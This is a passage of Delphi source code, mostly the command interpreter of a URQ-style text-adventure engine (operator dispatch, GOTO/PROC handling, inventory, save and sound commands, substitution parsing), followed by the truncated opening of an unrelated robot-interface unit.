l_BLevel := 0;
theLoc := '';
l_HasPar := False;
Result := -1;
l_Lex.Source := aStr;
while True do
begin
case l_Lex.Token of
etLBrasket:
begin
if l_BLevel = 0 then
begin
if l_HasPar then // уже открывали скобку первого уровня!
raise EFURQRunTimeError.Create(sBadLocationSyntax);
theLoc := Trim(Copy(aStr, 1, l_Lex.TokenStart-1));
l_ParStart := l_Lex.TokenEnd;
l_HasPar := True;
end;
Inc(l_BLevel);
end;
etRBrasket:
begin
Dec(l_BLevel);
if l_BLevel = 0 then
begin
AddParam(l_Lex.TokenStart);
end;
end;
etComma:
begin
if l_BLevel = 0 then // запятая вне параметров заканчивает разбор
begin
if not l_HasPar then
theLoc := Trim(Copy(aStr, 1, l_Lex.TokenStart-1));
Result := l_Lex.TokenEnd; // это для btn - чтобы знать, откуда считать название кнопки
Break;
end;
if l_BLevel = 1 then // еще один параметр
begin
AddParam(l_Lex.TokenStart);
l_ParStart := l_Lex.TokenEnd;
end
else // запятая встретилась где-то внутри вложенных скобок == незакрытая скобка в выражении
raise EFURQRunTimeError.Create(sBadLocationSyntax);
end;
etEOF:
begin
if l_BLevel = 0 then
begin
if not l_HasPar then
theLoc := Trim(aStr);
Break;
end
else // осталась незакрытая скобка!
raise EFURQRunTimeError.Create(sBadLocationSyntax);
end;
end;
l_Lex.NextToken;
end;
if theLoc <> '' then
case theLoc[1] of
'!' :
begin
theModifier := amNonFinal;
Delete(theLoc, 1, 1);
end;
'%' :
begin
theModifier := amMenu;
Delete(theLoc, 1, 1);
end;
else
theModifier := amNone;
end;
finally
FreeAndNil(l_Lex);
end;
end;
procedure TFURQInterpreter.ApplyParams(aLabelIdx: Integer; aParams: IJclStringList);
var
I: Integer;
l_Loc: string;
l_VarName: string;
function VarName(l_Idx: Integer): string;
begin
Result := Format('%s_%d', [l_Loc, l_Idx]);
end;
begin
l_Loc := f_CurContext.Code.Labels.Strings[aLabelIdx];
for I := 1 to cMaxParams do
begin
l_VarName := VarName(I);
if not f_CurContext.DeleteVariable(l_VarName) then
Break;
end;
if (aParams <> nil) and (aParams.Count > 0) then
begin
if not ValidVarName(l_Loc) then
raise EFURQRunTimeError.CreateFmt(sInvalidLocationForParams, [l_Loc]);
EvaluateParams(aParams);
for I := 0 to Pred(aParams.Count) do
f_CurContext.Variables[VarName(I+1)] := aParams.Variants[I];
end;
end;
procedure TFURQInterpreter.BuildMenu(aContext: TFURQContext; const aActionID: string; aKeepMenuActions: Boolean = False);
begin
aContext.StartMenuBuild(aKeepMenuActions);
try
aContext.State := csEnd; // это чтобы не уйти дальше по стеку как по csPause
aContext.StateResult := Format('b:%s', [aActionID]);
Execute(aContext);
finally
aContext.EndMenuBuild;
end;
end;
function TFURQInterpreter.DoAction(anActionData: IFURQActionData): Boolean;
begin
Result := False;
if anActionData <> nil then
begin
if anActionData.LabelIdx > -1 then
begin
ApplyParams(anActionData.LabelIdx, anActionData.Params);
Result := f_CurContext.DoAction(anActionData);
end;
end;
end;
procedure TFURQInterpreter.Execute(aContext: TFURQContext);
var
l_Str: string;
l_Pos: Integer;
l_LabelIdx: Integer;
begin
DecimalSeparator := '.'; // иногда он слетает
try
f_CurContext := aContext;
// обрабатываем ответ от пользователя
case f_CurContext.State of
csEnd, csPause:
if f_CurContext.StateResult <> '' then
begin
if AnsiStartsText('b:', f_CurContext.StateResult) then
begin
if not DoActionById(Copy(f_CurContext.StateResult, 3, MaxInt)) then
Exit;
end
else
if AnsiStartsText('i:', f_CurContext.StateResult) then
begin
l_Str := Copy(f_CurContext.StateResult, 3, MaxInt);
l_LabelIdx := StrToIntDef(l_Str, -1);
InvMenuJump(l_LabelIdx);
end;
end;
csSave:
with f_CurContext do
if StateResult <> '' then
SaveToFile(StateResult, StateParam[1], StateParam[2]);
csInput:
with f_CurContext do
begin
if VarType(Variables[StateParam[1]]) = varString then
Variables[StateParam[1]] := StateResult
else
Variables[StateParam[1]] := StrToFloatDef(StateResult, 0.0);
end;
csInputKey:
with f_CurContext do
begin
if StateParam[1] <> '' then
Variables[StateParam[1]] := StrToInt(StateResult);
end;
end;
except
// обработка ошибок времени исполнения
on E: Exception do
if Assigned(f_OnError) then
f_OnError(E.Message, Line);
end;
// выполняем код дальше
with f_CurContext do
begin
ClearStateParams;
StateResult := '';
State := csRun;
end;
while f_CurContext.State = csRun do
begin
try
if f_CurContext.Stack.CurOp = nil then
ParseOperators;
ExecuteNextCommand;
except
// обработка ошибок времени исполнения
on E: Exception do
if Assigned(f_OnError) then
f_OnError(E.Message, Line);
end;
end;
end;
procedure TFURQInterpreter.ExecuteNextCommand;
var
l_OpText: string;
l_Pos: Integer;
l_Op: string;
l_IsOperator: Boolean;
l_Operand: string;
l_VarName: string;
l_Eval: TfurqExprEvaluator;
l_Cond: TFURQCondition;
l_DoNext: Boolean;
l_ResVal: Variant;
procedure JumpToNext;
begin
with f_CurContext.Stack do
if CurOp <> nil then
CurOp := CurOp.Next;
end;
begin
if f_CurContext.State <> csRun then
Exit;
l_DoNext := True;
try
if f_CurContext.Stack.CurOp is TFURQCondition then
begin
l_Cond := f_CurContext.Stack.CurOp as TFURQCondition;
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
try
l_Eval.Source := UnfoldSubst(l_Cond.Source);
if EnsureReal(l_Eval.ResultValue) <> 0.0 then
f_CurContext.Stack.CurOp := l_Cond.ThenOp
else
f_CurContext.Stack.CurOp := l_Cond.ElseOp;
finally
FreeAndNil(l_Eval);
end;
l_DoNext := False;
Exit; // уходим на следующую итерацию
end;
l_OpText := f_CurContext.Stack.CurOp.Source;
l_OpText := TrimLeft(UnfoldSubst(TrimLeft(l_OpText))); // Второй TrimLeft - на случай, если в подстановках был пробел слева... [mutagen]
if l_OpText <> '' then // может получиться, что после разворачивания подстановок будет пустая строка
begin
// есть шанс, что это оператор!
l_Pos := Pos(' ', l_OpText);
if l_Pos = 0 then
begin
l_Op := AnsiUpperCase(l_OpText);
l_Operand := '';
end
else
begin
if l_OpText[l_Pos-1] in ['+', '-'] then
Dec(l_Pos); // для случая, когда "INV+" или "INV-" написаны слитно. По-хорошему, надо вообще-то парсить...
l_Op := AnsiUpperCase(Copy(l_OpText, 1, l_Pos-1));
if l_OpText[l_Pos] = ' ' then // если пробел, то пропускаем его
l_Operand := Copy(l_OpText, l_Pos+1, MaxInt)
else
l_Operand := Copy(l_OpText, l_Pos, MaxInt); // если нет, то оставляем (опять же, для inv+, inv-)
end;
l_IsOperator := True;
if (l_Op = 'P') or (l_Op = 'PRINT') then
HandlePrint(l_Operand)
else
if (l_Op = 'PLN') or (l_Op = 'PRINTLN') then
HandlePrintLn(l_Operand)
else
if (l_Op = 'PROC') then
begin
JumpToNext;
l_DoNext := False;
HandleProc(l_Operand)
end
else
if (l_Op = 'END') then
begin
l_DoNext := False;
HandleEnd
end
else
if (l_Op = 'BTN') then
HandleBtn(l_Operand)
else
if (l_Op = 'INV') then
HandleInv(l_Operand)
else
if (l_Op = 'SAVE') then
HandleSave(l_Operand)
else
if (l_Op = 'LOAD') then
HandleLoad(l_Operand)
else
if (l_Op = 'GOTO') then
HandleGoto(l_Operand)
else
if (l_Op = 'INVKILL') then
HandleInvKill(l_Operand)
else
if (l_Op = 'PERKILL') then
HandlePerKill
else
if (l_Op = 'INPUT') then
HandleInput(l_Operand)
else
if (l_Op = 'PAUSE') then
HandlePause(l_Operand)
else
if (l_Op = 'FORGET_PROCS') then
HandleForgetProcs
else
if (l_Op = 'CLS') then
HandleCls
else
if (l_Op = 'CLST') then
HandleCls([clText])
else
if (l_Op = 'CLSB') then
HandleCls([clButtons])
else
if (l_Op = 'INSTR') then
HandleInstr(l_Operand)
else
if (l_Op = 'ANYKEY') then
HandleAnykey(l_Operand)
else
if (l_Op = 'TOKENS') then
HandleTokens(l_Operand)
else
if (l_Op = 'MUSIC') then
HandleMusic(l_Operand)
else
if (l_Op = 'PLAY') then
HandlePlay(l_Operand)
else
if (l_Op = 'QUIT') then
HandleQuit
else
l_IsOperator := HandleExtraOps(l_Op, l_Operand); // какие-то другие операторы (у наследников)
if not l_IsOperator then // это не оператор... может, выражение?
begin
ParseAssigment(l_OpText, l_VarName, l_Operand);
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
try
l_Eval.Source := l_Operand;
l_ResVal := l_Eval.ResultValue;
f_CurContext.Variables[l_VarName] := l_ResVal;
// обработка особых переменных
if AnsiSameText('music', l_Varname) then
begin
if VarType(l_ResVal) = varString then
HandleMusic(EnsureString(l_ResVal))
else
HandleMusic(f_CurContext.FormatNumber(EnsureReal(l_ResVal)));
end;
finally
FreeAndNil(l_Eval);
end;
end;
end;
finally
if l_DoNext then
JumpToNext;
end;
end;
procedure TFURQInterpreter.HandleAnykey(aParams: string);
var
l_List: IJclStringList;
begin
NotAvailableWhileMenuBuild;
l_List := ParseAndEvalToArray(f_CurContext, aParams, [2]);
if l_List.Count > 0 then
begin
CheckVarName(l_List.Strings[0]);
f_CurContext.StateParam[1] := l_List.Strings[0];
if l_List.Count > 1 then
f_CurContext.StateParam[2] := IntToStr(l_List.Variants[1]);
end;
f_CurContext.State := csInputKey;
end;
procedure TFURQInterpreter.HandleBtn(aArgs: string);
var
l_Pos: Integer;
l_Loc: string;
l_Txt: string;
l_Params: IJclStringList;
l_AM: TFURQActionModifier;
begin
l_Params := JclStringList;
l_Pos := ParseLocAndParams(aArgs, l_Loc, l_Params, l_AM);
if l_Loc <> '' then
begin
if l_Pos > 0 then
l_Txt := Trim(Copy(aArgs, l_Pos, MaxInt))
else
l_Txt := '';
if l_Txt = '' then
l_Txt := l_Loc;
f_CurContext.AddButton(l_Loc, l_Params, l_Txt, l_AM); // фантомы обрабатываются в контексте
end
else
raise EFURQRunTimeError.Create(sBadLocationSyntax);
end;
procedure TFURQInterpreter.HandleCls(aParams: TFURQClsTypeSet = [clText, clButtons]);
begin
NotAvailableWhileMenuBuild;
if clText in aParams then
f_CurContext.ClearText;
if clButtons in aParams then
f_CurContext.ClearButtons;
end;
procedure TFURQInterpreter.HandleEnd;
begin
if f_CurContext.Stack.Prev <> nil then
f_CurContext.ReturnFromProc
else
f_CurContext.State := csEnd;
end;
procedure TFURQInterpreter.HandleForgetProcs;
begin
f_CurContext.ForgetProcs;
end;
procedure TFURQInterpreter.HandleGoto(aLocation: string);
var
l_Label : string;
l_Params: IJclStringList;
l_LabelIdx: Integer;
l_AM: TFURQActionModifier;
begin
l_Params := JclStringList;
if ParseLocAndParams(aLocation, l_Label, l_Params, l_AM) <> -1 then
raise EFURQRunTimeError.Create(sBadLocationSyntax);
if l_AM <> amNone then
raise EFURQRunTimeError.Create(sBadLocationSyntax);
l_LabelIdx := f_CurContext.Code.Labels.IndexOf(l_Label);
if l_LabelIdx <> -1 then
begin
ApplyParams(l_LabelIdx, l_Params);
f_CurContext.JumpToLabelIdx(l_LabelIdx);
if EnsureReal(f_CurContext.Variables[cDOSURQCountVar]) <> 0 then
f_CurContext.IncLocationCount(l_LabelIdx);
end
else
raise EFURQRunTimeError.CreateFmt(sNoLocationFound, [aLocation]);
end;
procedure TFURQInterpreter.CheckVarName(aVarname: string);
begin
if not ValidVarName(aVarname) then
raise EFURQRunTimeError.CreateFmt(sIncorrectVarName, [aVarname]);
end;
function TFURQInterpreter.DoActionById(anActionID: string): Boolean;
var
l_AData: IFURQActionData;
begin
Result := False;
l_AData := f_CurContext.ActionsData[anActionID];
if l_AData <> nil then
Result := DoAction(l_AData);
end;
procedure TFURQInterpreter.EvaluateParams(aParams: IJclStringList);
var
l_Eval: TfurqExprEvaluator;
I: Integer;
begin
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
try
for I := 0 to Pred(aParams.Count) do
begin
l_Eval.Source := aParams[I];
aParams.Variants[I] := l_Eval.ResultValue;
end;
finally
FreeAndNil(l_Eval);
end;
end;
function TFURQInterpreter.HandleExtraOps(const aOperator, aOperand: string): Boolean;
begin
// Этот метод перекрывается у наследников, чтобы реализовать дополнительные операторы
Result := False;
end;
procedure TFURQInterpreter.HandleInput(aName: string);
begin
NotAvailableWhileMenuBuild;
aName := Trim(aName);
if aName = '' then
raise EFURQRunTimeError.Create(sNoInputVariable);
CheckVarName(aName);
f_CurContext.StateParam[1] := aName;
f_CurContext.State := csInput;
end;
procedure TFURQInterpreter.HandleInstr(aOperand: string);
var
l_VarName, l_Value: string;
begin
ParseAssigment(aOperand, l_VarName, l_Value);
f_CurContext.Variables[l_VarName] := l_Value;
end;
procedure TFURQInterpreter.HandleInv(aOperand: string);
var
l_Pos: Integer;
l_Item: string;
l_Amount: Double;
l_Eval: TfurqExprEvaluator;
begin
NotAvailableWhileMenuBuild;
l_Pos := Pos(',', aOperand);
if l_Pos = 0 then
begin
if aOperand[1] in ['-', '+'] then
begin
if aOperand[1] = '-' then
l_Amount := -1.0
else
l_Amount := 1.0;
Delete(aOperand, 1, 1);
end
else
l_Amount := 1.0;
l_Item := Trim(aOperand)
end
else
begin
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
try
l_Eval.Source := Trim(Copy(aOperand, 1, l_Pos-1));
l_Amount := EnsureReal(l_Eval.ResultValue);
finally
FreeAndNil(l_Eval);
end;
l_Item := Trim(Copy(aOperand, l_Pos+1, MaxInt));
end;
f_CurContext.AddToInventory(l_Item, l_Amount);
end;
procedure TFURQInterpreter.HandleInvKill(aName: string);
var
l_Idx: Integer;
begin
NotAvailableWhileMenuBuild;
aName := Trim(aName);
if aName = '' then
f_CurContext.ClearInventory
else
begin
l_Idx := f_CurContext.Inventory.IndexOf(aName);
if l_Idx <> -1 then
f_CurContext.Inventory.Delete(l_Idx);
end;
end;
procedure TFURQInterpreter.HandleLoad(const aParams: string);
var
l_Slot: Integer;
begin
l_Slot := StrToIntDef(aParams, -1);
if l_Slot > -1 then
f_CurContext.StateParam[1] := IntToStr(l_Slot);
f_CurContext.State := csLoad;
end;
procedure TFURQInterpreter.HandleMusic(aFilename: string);
var
l_Params: TStringList;
l_FadeTime: Integer;
begin
NotAvailableWhileMenuBuild;
aFilename := Trim(aFilename);
l_Params := TStringList.Create;
try
StrTokenToStrings(aFilename, ',', l_Params);
TrimStrings(l_Params, False);
if l_Params.Count = 0 then
Exit;
if l_Params.Count > 1 then
l_FadeTime := StrToIntDef(l_Params[1], 0)
else
l_FadeTime := 0;
if AnsiSameText(l_Params[0], 'stop') or (l_Params[0] = '0') then
f_CurContext.MusicStop(l_FadeTime)
else
begin
if StrIsDigit(l_Params[0]) then
l_Params[0] := l_Params[0]+'.mid';
f_CurContext.MusicPlay(l_Params[0], l_FadeTime);
end;
finally
l_Params.Free;
end;
end;
procedure TFURQInterpreter.HandlePause(aInterval: string);
var
l_Eval: TfurqExprEvaluator;
l_Interval: Double;
begin
NotAvailableWhileMenuBuild;
aInterval := Trim(aInterval);
if aInterval = '' then
aInterval := '1000';
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
try
l_Eval.Source := aInterval;
l_Interval := l_Eval.ResultValue;
f_CurContext.StateParam[1] := Format('%f', [l_Interval]);
f_CurContext.State := csPause;
finally
l_Eval.Free;
end;
end;
procedure TFURQInterpreter.HandlePerKill;
begin
f_CurContext.ClearVariables;
end;
procedure TFURQInterpreter.HandlePlay(aFilename: string);
var
l_Params: TStringList;
l_Modifier: string;
l_IsLooped: Boolean;
l_IsStopped: Boolean;
l_Volume : Integer;
begin
NotAvailableWhileMenuBuild;
aFilename := Trim(aFilename);
l_Params := TStringList.Create;
try
StrTokenToStrings(aFilename, ',', l_Params);
TrimStrings(l_Params, False);
if l_Params.Count = 0 then
Exit;
if AnsiLowerCase(l_Params[0]) = 'stop' then
begin
f_CurContext.SoundStop('');
Exit;
end;
l_Modifier := AnsiLowerCase(Copy(l_Params[0], 1, 5));
l_IsLooped := l_Modifier = 'loop ';
l_IsStopped := l_Modifier = 'stop ';
if l_IsLooped or l_IsStopped then
l_Params[0] := Trim(Copy(l_Params[0], 6, MaxInt));
if StrIsDigit(l_Params[0]) then
l_Params[0] := l_Params[0]+'.wav';
if l_Params.Count > 1 then
begin
l_Volume := StrToIntDef(l_Params[1], 255);
if l_Volume > 255 then
l_Volume := 255
else
if l_Volume < 0 then
l_Volume := 0;
end
else
l_Volume := 255;
if l_IsStopped then
f_CurContext.SoundStop(l_Params[0])
else
f_CurContext.SoundPlay(l_Params[0], l_Volume, l_IsLooped);
finally
l_Params.Free;
end;
end;
procedure TFURQInterpreter.HandlePrint(const aString: string);
begin
NotAvailableWhileMenuBuild;
f_CurContext.OutText(aString);
end;
procedure TFURQInterpreter.HandlePrintLn(const aString: string);
begin
NotAvailableWhileMenuBuild;
HandlePrint(aString);
f_CurContext.OutText(cCaretReturn);
end;
procedure TFURQInterpreter.HandleProc(aLabel: string);
var
l_Loc: string;
l_Idx: Integer;
l_Params: IJclStringList;
l_AM: TFURQActionModifier;
begin
l_Params := JclStringList;
if ParseLocAndParams(aLabel, l_Loc, l_Params, l_AM) <> -1 then
raise EFURQRunTimeError.Create(sBadLocationSyntax);
if l_AM <> amNone then
raise EFURQRunTimeError.Create(sBadLocationSyntax);
l_Idx := f_CurContext.Code.Labels.IndexOf(l_Loc);
if l_Idx >= 0 then
begin
ApplyParams(l_Idx, l_Params);
f_CurContext.ExecuteProc(l_Idx);
if EnsureReal(f_CurContext.Variables[cDOSURQCountVar]) <> 0 then
f_CurContext.IncLocationCount(l_Idx);
end
else
begin
EvaluateParams(l_Params);
if not f_CurContext.SystemProc(l_Loc, l_Params) then
raise EFURQRunTimeError.CreateFmt(sNoLocationFound, [l_Loc]);
end;
end;
procedure TFURQInterpreter.HandleQuit;
begin
NotAvailableWhileMenuBuild;
f_CurContext.ForgetProcs;
f_CurContext.ClearButtons;
f_CurContext.ClearInventory;
f_CurContext.ClearVariables;
f_CurContext.State := csQuit;
end;
procedure TFURQInterpreter.HandleSave(aParams: string);
var
l_Int: Integer;
l_ParaList: IJclStringList;
l_Param: string;
l_ParamValue: Variant;
l_CurParamIdx: Integer;
l_Fixed: Boolean;
l_HaveParam: Boolean;
procedure l_NextParam;
begin
Inc(l_CurParamIdx);
if l_CurParamIdx < l_ParaList.Count then
begin
l_Param := l_ParaList.Strings[l_CurParamIdx];
l_ParamValue := l_ParaList.Variants[l_CurParamIdx];
if l_Param = '' then
raise EFURQRunTimeError.Create(sWrongParams);
l_HaveParam := True;
end
else
l_HaveParam := False;
end;
begin
NotAvailableWhileMenuBuild;
if aParams = '' then
aParams := '"Автосохранение",0';
l_ParaList := ParseAndEvalToArray(f_CurContext, aParams, [1, 2, 3]);
with f_CurContext do
begin
l_CurParamIdx := -1;
l_Fixed := False;
l_NextParam;
if l_HaveParam then
begin
if f_CurContext.Code.Labels.IndexOf(l_Param) >= 0 then
begin
l_Fixed := True; // мы определились с первым параметром
StateParam[1] := l_Param;
l_NextParam;
end;
end;
if l_HaveParam then
begin
if VarType(l_ParamValue) = varString then
begin
StateParam[2] := l_ParamValue;
l_NextParam;
l_Fixed := True;
end
else
if l_Fixed then
raise EFURQRunTimeError.Create(sWrongParams);
end;
if l_HaveParam then
begin
if VarType(l_ParamValue) <> varString then
StateParam[3] := l_ParamValue
else
raise EFURQRunTimeError.Create(sWrongParams);
end;
State := csSave;
end; // with
end;
procedure TFURQInterpreter.HandleTokens(aExpression: string);
var
l_Delim: string;
l_Str: string;
l_Num: Integer;
I: Integer;
l_SubStr: string;
l_CurNum: Integer;
l_Eval: TfurqExprEvaluator;
procedure AddSubstrToTokens;
begin
if l_SubStr <> '' then
begin
Inc(l_CurNum);
f_CurContext.Variables['token'+IntToStr(l_CurNum)] := l_SubStr;
l_SubStr := '';
end;
end;
begin
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
try
l_Eval.Source := Trim(aExpression);
l_Str := EnsureString(l_Eval.ResultValue);
finally
l_Eval.Free;
end;
if l_Str = '' then
begin
f_CurContext.Variables['tokens_num'] := 0.0;
Exit;
end;
l_Delim := EnsureString(f_CurContext.Variables['tokens_delim']);
l_Num := Length(l_Str);
if AnsiSameText(l_Delim, 'char') then
begin
for I := 1 to l_Num do
begin
l_SubStr := l_Str[I];
f_CurContext.Variables['token'+IntToStr(I)] := l_SubStr;
end;
f_CurContext.Variables['tokens_num'] := VarAsType(l_Num, varDouble);
end
else
begin
l_CurNum := 0;
l_SubStr := '';
for I := 1 to l_Num do
begin
if Pos(l_Str[I], l_Delim) > 0 then
AddSubstrToTokens
else
l_Substr := l_SubStr + l_Str[I];
end;
AddSubstrToTokens;
f_CurContext.Variables['tokens_num'] := VarAsType(l_CurNum, varDouble);
end;
end;
procedure TFURQInterpreter.IncLine;
begin
Line := Line + 1;
end;
procedure TFURQInterpreter.InvMenuJump(aLabelIdx: Integer);
var
l_AData: IFURQActionData;
begin
l_AData := TFURQActionData.Create(aLabelIdx, nil, amNonFinal);
DoAction(l_AData);
end;
procedure TFURQInterpreter.NotAvailableWhileMenuBuild;
begin
if f_CurContext.ExecutionMode = emMenuBuild then
raise EFURQRunTimeError.Create('Оператор нельзя использовать при построении меню!');
end;
procedure TFURQInterpreter.NotAvailableInEvents;
begin
if f_CurContext.ExecutionMode = emEvent then
raise EFURQRunTimeError.Create('Оператор нельзя использовать в событиях!');
end;
procedure TFURQInterpreter.ParseAssigment(aString: string; var theVarName, theExpression: string);
var
l_Pos: Integer;
begin
l_Pos := Pos('=', aString);
if l_Pos > 0 then
begin
theVarName := Trim(Copy(aString, 1, l_Pos-1));
CheckVarName(theVarName);
theExpression := Trim(Copy(aString, l_Pos+1, MaxInt))
end
else
raise EFURQExpressionError.CreateFmt(sIncorrectOperator, [aString]);
end;
procedure TFURQInterpreter.ParseOperators;
var
l_SrcLine: string;
procedure GetSrcLine;
var
l_Str: string;
procedure SkipBlanks;
begin
while (not EOF) and (Trim(CurLine)='') do
IncLine;
end;
begin
l_SrcLine := '';
while not EOF do
begin
// пропускаем пустые строки
SkipBlanks;
if not EOF then
begin
l_Str := TrimLeft(CurLine);
if l_SrcLine = '' then // это новая строка
begin
if AnsiStartsStr(':', l_Str) then // кажись, это метка. уходим на следующую строку...
begin
IncLine;
Continue;
end;
if AnsiStartsStr('_', l_Str) then
begin
Delete(l_Str, 1, 1); // возможно, это просто артефакт от удалёния комментариев /* */
// и надо проверить, что после удаления этой фигни не осталась пустая строка...
if Trim(l_Str) = '' then
begin
IncLine;
SkipBlanks;
Continue;
end;
end;
l_SrcLine := l_Str;
IncLine;
end
else // это, возможно, дополнение предыдущей строки
begin
if not AnsiStartsStr('_', l_Str) then
Break; // не, это какая-то другая строка. Ее будем смотреть потом.
Delete(l_Str, 1, 1); // удалям символ подчеркивания
l_SrcLine := l_SrcLine + l_Str; // и цепляем к результату то, что осталось
IncLine;
end;
end;
end;
end;
function ParseStringToOps(const aSrc: string): TFURQOperator;
var
l_ResOp : TFURQOperator;
l_Op : TFURQOperator;
l_Lexer : TfurqLexer;
l_IFCount: Integer;
l_Cond : string;
l_Then : string;
l_Else : string;
l_Start : Integer;
l_IsFirstTokenInOperator: Boolean;
l_IFDetected: Boolean;
function GetSubstrBeforeToken: string;
begin
Result := Copy(aSrc, l_Start, l_Lexer.TokenStart-l_Start);
l_Start := l_Lexer.TokenEnd;
end;
function GetSubstrAfterToken: string;
begin
Result := Copy(aSrc, l_Start, l_Lexer.TokenEnd-l_Start);
l_Start := l_Lexer.TokenEnd;
end;
procedure AddOp(aOp: TFURQOperator);
begin
if l_ResOp = nil then
begin
l_Op := aOp;
l_ResOp := aOp;
end
else
begin
l_Op.Next := aOp;
l_Op := l_Op.Next;
end;
end;
procedure AddOpStr(const aOpSrc: string);
var
l_OpSrc: string;
begin
l_OpSrc := TrimLeft(aOpSrc);
if l_OpSrc <> '' then
AddOp(TFURQOperator.Create(l_OpSrc));
end;
begin
Result := nil;
if aSrc = '' then
Exit;
l_ResOp := nil;
l_Lexer := TfurqLexer.Create;
try
l_Lexer.DetectStrings := False; // а иначе кавычки разбивают нафиг все
l_Lexer.Source := aSrc;
l_IFCount := 0;
l_Start := 1;
l_IsFirstTokenInOperator := True;
l_IFDetected := False;
while True do
begin
case l_Lexer.Token of
etIF:
begin
if l_IsFirstTokenInOperator then
begin
if (l_IFCount = 0) then
begin
l_Cond := '';
l_Then := '';
l_Else := '';
l_Start := l_Lexer.TokenEnd;
l_IFDetected := True;
end;
Inc(l_IFCount);
end;
end;
etThen:
if l_IFDetected then
begin
if l_IFCount = 1 then
l_Cond := GetSubstrBeforeToken;
l_IsFirstTokenInOperator := True;
end;
etElse:
if l_IFDetected then
begin
if l_IFCount = 1 then
begin
l_Then := GetSubstrBeforeToken;
l_Else := Copy(aSrc, l_Lexer.TokenEnd, MaxInt);
if l_Cond = '' then
raise EFURQRunTimeError.Create(sIfWithoutThen);
AddOp(TFURQCondition.Create(l_Cond, ParseStringToOps(l_Then), ParseStringToOps(l_Else)));
Break;
end;
Dec(l_IFCount);
l_IsFirstTokenInOperator := True;
end;
etAmpersand:
begin
if not l_IFDetected then
AddOpStr(GetSubstrBeforeToken);
l_IsFirstTokenInOperator := True;
end;
etEOF:
begin
if l_IFDetected then
begin
l_Then := GetSubstrAfterToken;
if l_Cond = '' then
raise EFURQRunTimeError.Create(sIfWithoutThen);
AddOp(TFURQCondition.Create(l_Cond, ParseStringToOps(l_Then), nil));
end
else
AddOpStr(GetSubstrAfterToken);
Break;
end;
else
l_IsFirstTokenInOperator := False;
end; // case
l_Lexer.NextToken;
end;
finally
FreeAndNil(l_Lexer);
end;
Result := l_ResOp;
end;
begin
f_CurContext.Stack.ClearOperators;
GetSrcLine;
if l_SrcLine <> '' then
begin
f_CurContext.Stack.Operators := ParseStringToOps(l_SrcLine);
f_CurContext.Stack.CurOp := f_CurContext.Stack.Operators;
end
else
f_CurContext.State := csEnd;
end;
function TFURQInterpreter.pm_GetCurLine: string;
begin
if not EOF then
Result := f_CurContext.Code.Source[Line]
else
Result := '';
end;
function TFURQInterpreter.pm_GetEOF: Boolean;
begin
Result := (Line >= f_CurContext.Code.Source.Count);
end;
function TFURQInterpreter.pm_GetLine: Integer;
begin
Result := f_CurContext.Stack.Line;
end;
procedure TFURQInterpreter.pm_SetLine(const Value: Integer);
begin
f_CurContext.Stack.Line := Value;
end;
const
smNumber = 1;
smString = 2;
smCharCode = 3;
function TFURQInterpreter.UnfoldSubst(const aString: string): string;
var
l_CurPos, l_TempPos: Integer;
l_Subst: string;
l_SubMode: Byte;
C: Char;
l_InCount: Integer;
l_Eval: TfurqExprEvaluator;
l_CharCode: Integer;
function GetChar(aIndex: Integer): Char;
begin
if aIndex > Length(aString) then
Result := #0
else
Result := aString[aIndex];
end;
begin
Result := '';
l_Eval := nil;
l_CurPos := 1;
try
while True do
begin
l_TempPos := PosEx('#', aString, l_CurPos);
if l_TempPos > 0 then
begin
Result := Result + Copy(aString, l_CurPos, l_TempPos-l_CurPos);
l_CurPos := l_TempPos + 1;
case GetChar(l_CurPos) of
'%':
begin
l_SubMode := smString;
Inc(l_CurPos);
end;
'#':
begin
l_SubMode := smCharCode;
Inc(l_CurPos);
end;
else
l_SubMode := smNumber;
end;
// ищем закрывающую скобку
l_Subst := '';
l_InCount := 0;
C := GetChar(l_CurPos);
while C <> #0 do
begin
case C of
'$' :
begin
if l_InCount = 0 then
Break
else
Dec(l_InCount);
end;
'#': Inc(l_InCount);
end;
l_Subst := l_Subst + C;
Inc(l_CurPos);
C := GetChar(l_CurPos);
end;
if C = #0 then
raise EFURQRunTimeError.Create(sSubstNotClosed);
Inc(l_CurPos);
l_Subst := UnfoldSubst(l_Subst);
if (l_SubMode = smNumber) and (l_Subst = '') then
Result := Result + ' '
else
if (l_SubMode = smNumber) and (l_Subst = '/') then
Result := Result + #13#10
else
begin
if l_Eval = nil then
l_Eval := TfurqExprEvaluator.Create(f_CurContext);
l_Eval.Source := l_Subst;
case l_SubMode of
smNumber : Result := Result + f_CurContext.FormatNumber(EnsureReal(l_Eval.ResultValue));
smString : Result := Result + EnsureString(l_Eval.ResultValue);
smCharCode:
begin
l_CharCode := Round(EnsureReal(l_Eval.ResultValue));
l_CharCode := l_CharCode and $FF;
Result := Result + Char(l_CharCode);
end;
end;
end;
end
else
begin
Result := Result + Copy(aString, l_CurPos, MaxInt);
Break;
end;
end;
finally
FreeAndNil(l_Eval);
end;
end;
function TFURQInterpreter.ValidVarName(aVarName: string): Boolean;
var
I: Integer;
begin
Result := True;
if aVarName <> '' then
begin
if aVarName[1] in cIdentStartSet then
begin
for I := 2 to Length(aVarName) do
if (not (aVarName[I] in cIdentMidSet)) and (aVarName[I] <> ' ') then
begin
Result := False;
Break;
end;
end
else
Result := False;
end;
end;
initialization
DecimalSeparator := '.';
end.
|
unit Acme.Robot.Core.Bot;
interface
uses
System.Rtti,
System.SysUtils,
System.Types;
type
TBotMood = (Happy, Grumpy);
TBotOrientation = (North, South, West, East);
IBot = interface
['{0E047C05-FEB2-4817-9AF3-56CA008FE927}']
function ToString: string;
procedure GoHome();
procedure Move(ASteps: Integer = 1);
procedure Rotate(AOrientation: TBotOrientation);
procedure TurnOn();
procedure TurnOff();
function GetActive: Boolean;
function GetName: string;
function GetLocation: TPoint;
function GetOrientation: TBotOrientation;
property Active: Boolean read GetActive;
property Name: string read GetName;
property Location: TPoint read GetLocation;
property Orientation: TBotOrientation read GetOrientation;
end;
ITalkingBot = interface(IBot)
['{695FC06F-241C-4178-B816-6CAFC93E5197}']
procedure Say(const AText: string);
end;
IHumanBot = interface(IBot)
['{312EFB25-B649-4E6D-B0D2-43A85634DF3A}']
procedure Express(AMood: TBotMood);
end;
TBot = class abstract(TInterfacedObject, IBot)
private
FActive: Boolean;
FName: string;
FLocation: TPoint;
FOrientation: TBotOrientation;
protected
procedure AfterMoving(ASteps: Integer); dynamic;
